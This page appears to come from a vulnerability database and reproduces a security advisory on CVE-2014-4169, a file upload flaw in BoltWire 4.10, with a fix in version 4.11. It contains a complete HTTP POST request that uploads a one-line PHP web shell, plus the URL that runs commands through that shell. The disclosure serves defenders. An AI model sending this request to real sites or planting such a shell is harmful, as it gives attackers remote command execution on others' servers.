Lucene search
K

BoltWire 4.10 Arbitrary File Upload Vulnerability

🗓️ 06 Jul 2014 00:00:00Reported by High-Tech BridgeType 
zdt
 zdt
🔗 0day.today👁 573 Views

BoltWire 4.10 Arbitrary File Upload Vulnerability, allows unauthorized PHP code executio

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2014-4169: BoltWire index.php file upload
2 Jul 201400:00
cve
htbridge
Unrestricted Upload of File with Dangerous Type in BoltWire
11 Jun 201400:00
htbridge
Vulnerability in BoltWire, which can be exploited to execute arbitrary PHP code on the target system and gain complete control over vulnerable web application.


1) Unrestricted Upload of File with Dangerous Type in BoltWire: CVE-2014-4169

The vulnerability exists due to insufficient validation of the filename when uploading files in "/index.php" script. A remote authenticated attacker can upload arbitrary file with ".txt" extension and rename it into ".php" using a specially crafted HTTP POST request. Successful exploitation of the vulnerability requires valid user credentials, but registration is open by default to anyone. The vulnerability allows execution of arbitrary PHP code with privileges of the webserver and can lead to complete compromise of the website.

The following dump of the HTTP POST request illustrates the upload of the file named "file.txt" and its renaming into "file.php", with contents, which allows execution of arbitrary system commands:

POST /index.php?p=action.upload HTTP/1.1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------312591666129281
Content-Length: 538

-----------------------------312591666129281
Content-Disposition: form-data; name="boltkey"

9867614
-----------------------------312591666129281
Content -Disposition: form-data; name="upload"; filename="file.txt"
Content-Type: text/plain

<?
passthru($_GET['cmd']);
?>


----------------------------- 312591666129281
Content-Disposition: form-data; name="filename"

file.php
-----------------------------312591666129281
Conte nt-Disposition: form-data; name="submit"

UPLOAD
-----------------------------312591666129281--

The uploaded file will be accessible using the following URL:

http://[host]/files/file.php?cmd=ls

Solution:
Update to BoltWire 4.11

More Information:
http://www.boltwire.com/index.php?p=downloads

#  0day.today [2018-01-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation